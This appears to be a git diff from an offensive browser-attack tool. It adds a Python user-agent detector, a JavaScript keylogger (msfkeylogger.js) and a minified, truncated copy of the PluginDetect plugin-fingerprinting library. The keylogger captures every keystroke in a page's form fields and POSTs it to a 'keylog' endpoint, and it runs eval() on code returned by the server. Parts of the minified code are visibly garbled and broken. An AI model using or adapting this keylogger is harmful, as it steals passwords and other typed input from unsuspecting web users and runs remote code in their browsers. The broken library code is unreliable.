+ MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE])
+ )
+
+
+detectorshub = DetectorsHub()
+
+
+def detect(agent, fill_none=False):
+ """
+ fill_none: if name/version is not detected respective key is still added to the result with value None
+ """
+ result = dict(platform=dict(name=None, version=None))
+ _suggested_detectors = []
+
+ for info_type in detectorshub:
+ detectors = _suggested_detectors or detectorshub[info_type]
+ for detector in detectors:
+ try:
+ detector.detect(agent, result)
+ except Exception as _err:
+ pass
+
+ if fill_none:
+ attrs_d = {'name': None, 'version': None}
+ for key in ('os', 'browser'):
+ if key not in result:
+ result[key] = attrs_d
+ else:
+ for k, v in attrs_d.items():
+ result[k] = v
+
+ return result
+
+
+def simple_detect(agent):
+ """
+ -> (os, browser) # tuple of strings
+ """
+ result = detect(agent)
+ os_list = []
+ if 'flavor' in result:
+ os_list.append(result['flavor']['name'])
+ if 'dist' in result:
+ os_list.append(result['dist']['name'])
+ if 'os' in result:
+ os_list.append(result['os']['name'])
+
+ os = os_list and " ".join(os_list) or "Unknown OS"
+ os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \
+ (result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or ""
+ browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser'
+ browser_version = 'browser' in result and result['browser'].get('version') or ""
+ if browser_version:
+ browser = " ".join((browser, browser_version))
+ if os_version:
+ os = " ".join((os, os_version))
+ return os, browser
diff --git a/core/javascript/msfkeylogger.js b/core/javascript/msfkeylogger.js
new file mode 100644
index 0000000..5110961
--- /dev/null
+++ b/core/javascript/msfkeylogger.js
@@ -0,0 +1,117 @@
+window.onload = function (){
+ var2 = ",";
+ name = '';
+ function make_xhr(){
+ var xhr;
+ try {
+ xhr = new XMLHttpRequest();
+ } catch(e) {
+ try {
+ xhr = new ActiveXObject("Microsoft.XMLHTTP");
+ } catch(e) {
+ xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
+ }
+ }
+ if(!xhr) {
+ throw "failed to create XMLHttpRequest";
+ }
+ return xhr;
+ }
+
+ xhr = make_xhr();
+ xhr.onreadystatechange = function() {
+ if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
+ eval(xhr.responseText);
+ }
+ }
+
+ if (window.addEventListener){
+ //console.log("first");
+ document.addEventListener('keypress', function2, true);
+ document.addEventListener('keydown', function1, true);
+ }
+ else if (window.attachEvent){
+ //console.log("second");
+ document.attachEvent('onkeypress', function2);
+ document.attachEvent('onkeydown', function1);
+ }
+ else {
+ //console.log("third");
+ document.onkeypress = function2;
+ document.onkeydown = function1;
+ }
+}
+
+function function2(e)
+{
+ try
+ {
+ srcname = window.event.srcElement.name;
+ }catch(error)
+ {
+ srcname = e.srcElement ? e.srcElement.name : e.target.name
+ if (srcname == "")
+ {
+ srcname = e.target.name
+ }
+ }
+
+ var3 = (e) ? e.keyCode : e.which;
+ if (var3 == 0)
+ {
+ var3 = e.charCode
+ }
+
+ if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
+ {
+ andxhr(var3.toString(16), srcname);
+ }
+}
+
+function function1(e)
+{
+ try
+ {
+ srcname = window.event.srcElement.name;
+ }catch(error)
+ {
+ srcname = e.srcElement ? e.srcElement.name : e.target.name
+ if (srcname == "")
+ {
+ srcname = e.target.name
+ }
+ }
+
+ var3 = (e) ? e.keyCode : e.which;
+ if (var3 == 9 || var3 == 8 || var3 == 13)
+ {
+ andxhr(var3.toString(16), srcname);
+ }
+ else if (var3 == 0)
+ {
+
+ text = document.getElementById(id).value;
+ if (text.length != 0)
+ {
+ andxhr(text.toString(16), srcname);
+ }
+ }
+
+}
+function andxhr(key, inputName)
+{
+ if (inputName != name)
+ {
+ name = inputName;
+ var2 = ",";
+ }
+ var2= var2 + key + ",";
+ xhr.open("POST", "keylog", true);
+ xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
+ xhr.send(var2 + '&&' + inputName);
+
+ if (key == 13 || var2.length > 3000)
+ {
+ var2 = ",";
+ }
+}
\ No newline at end of file
diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js
new file mode 100644
index 0000000..6f25433
--- /dev/null
+++ b/core/javascript/plugindetect.js
@@ -0,0 +1,76 @@
+/*
+PluginDetect v0.9.0
+www.pinlady.net/PluginDetect/license/
+[ QuickTime Java DevalVR Flash Shockwave WindowsMediaPlayer Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDFjs ]
+[ isMinVersion getVersion hasMimeType onDetectionDone ]
+[ AllowActiveX ]
+*/
+
+var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:" ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var 